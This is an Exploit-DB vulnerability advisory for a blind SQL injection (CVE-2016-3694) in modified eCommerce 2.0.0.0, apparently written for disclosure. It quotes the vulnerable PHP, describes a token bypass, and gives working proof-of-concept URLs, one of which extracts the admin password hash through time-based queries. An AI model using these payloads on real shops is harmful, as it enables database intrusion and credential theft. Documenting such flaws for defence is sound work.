modified eCommerce Shopsoftware 2.0.0.0 rev 9678 - Blind SQL Injection

EDB-ID:

39710




Platform:

PHP

Date:

2016-04-19


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# Title: Blind Injection modified eCommerce 2.0.0.0 rev 9678
# Date: 16.04.2016
# Category: webapps
# Vendor Homepage: http://www.modified-shop.org/download
# Software Link: http://www.modified-shop.org/forum/index.php?action=downloads;sa=downfile&id=96
# Version: 2.0.0.0 rev 9678
# Tested on: Apache/2.4.7, PHP Version 5.5.9, Linux
# Exploit Author: Felix Maduakor
# Contact: Felix.Maduakor@rub.de
# CVE: CVE-2016-3694

Product Description:
modified eCommerce is an Open Source shopsoftware

Vulnerability Details:
Attackable are the GET-parameters 'orders_status' and 'customers_status' through 'easybillcsv.php':


File: [shoproot]/api/easybill/easybillcsv.php

[24] 		if (isset($_GET['token']) &&  $_GET['token'] == MODULE_EASYBILL_CSV_CRON_TOKEN) {
[25-61] 		...
[62]			} else {
[63]					die('Direct Access to this location is not allowed.');

As default option the easybill-module is not installed and the constant MODULE_EASYBILL_CSV_CRON_TOKEN is not set. As long as the easybill-module is not installed, it is possible to bypass the restriction: [Shoproot]/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN


[35]			if (count($_GET['orders_status']) > 0) {
[36]			$_GET['orders_status'] = preg_replace("'[\r\n\s]+'", '', $_GET['orders_status']);
[37]			$orders_status = explode(',', $_GET['orders_status']);
[38]			$module->from_orders_status = implode("', '", $orders_status);
[39]			}


[43]			if (isset($_GET['customers_status'])) {
[44]			$_GET['customers_status'] = preg_replace("'[\r\n\s]+'", '', $_GET['customers_status']);
[45]			$customers_status = explode(',', $_GET['customers_status']);
[46]			$module->from_customers_status = implode("', '", $customers_status);
[47]			}

As you can see in lines 35-39 and 43-47 the GET-parameters 'orders_status' and 'customers_status' are not escaped, but formatted (removed whitespaces, replaced commas with "', '"). They will be set as local variables of the "$module"-object.

File: [shoproot][admin-folder]/includes/modules/system/easybillcsv.php

[63]		$export_query = xtc_db_query("SELECT DISTINCT o.orders_id 
[64]                                    FROM ".TABLE_ORDERS." o
[65]                                    JOIN ".TABLE_ORDERS_STATUS_HISTORY." osh
[66]                                      ON o.orders_id = osh.orders_id	
[67]                                   WHERE (o.orders_status IN ('" . $this->from_orders_status . "') 
[68]                                          OR osh.orders_status_id IN ('" . $this->from_orders_status . "'))
[69]                                     AND (o.last_modified >= '". date( "Y-m-d H:i:s", strtotime($this->from_order_date)) . "'
[70]                                          OR o.date_purchased >= '". date( "Y-m-d H:i:s", strtotime($this->from_order_date)) . "')
[71]                                     AND o.customers_status IN ('" . $this->from_customers_status . "')
[72]                                ORDER BY o.orders_id");


The unescaped GET-parameters get placed in the query on line 67, 68 and 71.
Through the ORDER BY statement (with the explicit table-references) it is not possible to use a union-based injection.
The injection cannot include whitespaces or commas.

POC [Proof of Concept]:

http://127.0.0.1/shop/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN&orders_status=-111'))or-sleep(5)/*&customers_status=*/%23
Will result in following query and execute the sleep-function for 5 seconds:

SELECT DISTINCT o.orders_id 
                                   FROM ".TABLE_ORDERS." o
                                    JOIN ".TABLE_ORDERS_STATUS_HISTORY." osh
                                      ON o.orders_id = osh.orders_id	
                                   WHERE (o.orders_status IN ('-111'))or-sleep(5)/* 
    
                                    long comment
                                         
                                    */#comment
                               ORDER BY o.orders_id

There are multiple ways to bypass the whitespace/comma-filter. A possible way to check if the first character of the admin-hash is '$' would be:


http://127.0.0.1/shop/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN&orders_status=-111'))or(Select(case(36)when(ascii(substring(`customers_password`FROM(1)FOR(1))))then-sleep(5)End)from`customers`where`customers_id`=1)/*&customers_status=*/%23




Timeline
-----
[16.04.2016] Reporting vulnerability to vendor